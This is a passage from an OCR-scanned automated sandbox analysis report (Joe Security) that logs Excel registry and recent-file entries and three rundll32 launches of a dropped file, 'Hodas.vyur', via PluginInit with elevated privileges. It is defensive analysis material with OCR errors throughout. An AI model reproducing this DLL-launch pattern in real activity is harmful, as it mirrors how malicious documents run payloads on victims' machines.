00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic e(4 binary 65 28 34 00 EC 08 00 00 02 00 00 00 00 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 6A 00 00 00 01 00 00 00 34 00

00 00 2A 00 00 00 39 00 31 00 34 00 37

00 36 00 35 00 32 00 35 00 36 00 30 00

3800 2D 00 30 00 34 00 30 00 31 00 32

00 30 00 32 00 31 00 2E 00 78 00 6C 00

73 00 6D 00 00 00 39 00 31 00 34 00 37

00 36 00 35 00 32 00 35 00 36 00 30 00

38 00 2D 00 30 00 34 00 30 00 31 00 32

00 30 00 32 00 31 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic FAE9D binary 04 00 00 00 EC 08 00 00 2A 00 00 00 43 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F4AE9D 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 EA 9A
67 38 7C 27 D7 01 9D 4E OF 00 9D 4E
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx

Copyright Joe Security LLC 2021 Page 38 of 42



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Iltem 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

TFEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

TFEEA9ESACO

7TFEEA9ESACO

7FEEA9E9ACO

7TFEEA9ESACO

7FEEA9ESACO

TFEEA9ESACO

7TFEEA9ESACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path Name Type

HKEY_CURRENT_USER\Software\Mic F50A0 binary
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F50A0

Data

04 00 00 00 EC 08 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 EA 9A
67 38 7C 27 D7 01 A0 50 OF 00 A0 50 OF
00 00 00 00 00 B8 02 00 00 56 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

success or wait

Source

Count Address Symbol

1

7FEEA9E9ACO unknown

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 1100 Parent PID: 2284
General
Start time: 21:53:39
Start date: 01/04/2021
Path: C:\Windows\System32\rundll32.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

rundll32 ..\Hodas.vyur,PluginInit
0xffa80000

45568 bytes
DD81D91FF3B0763C392422865C9AC12E
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 1664 Parent PID: 2284
General
Start time: 21:53:40
Start date: 01/04/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: rundll32 ..\Hodas.vyurl,Plugininit
Imagebase: 0xffaB0000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2312 Parent PID: 2284
General
Start time: 21:53:40
Start date: 01/04/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: rundll32 ..\Hodas.vyur2,Plugininit
Imagebase: 0xffaB0000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
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Disassembly

Code Analysis
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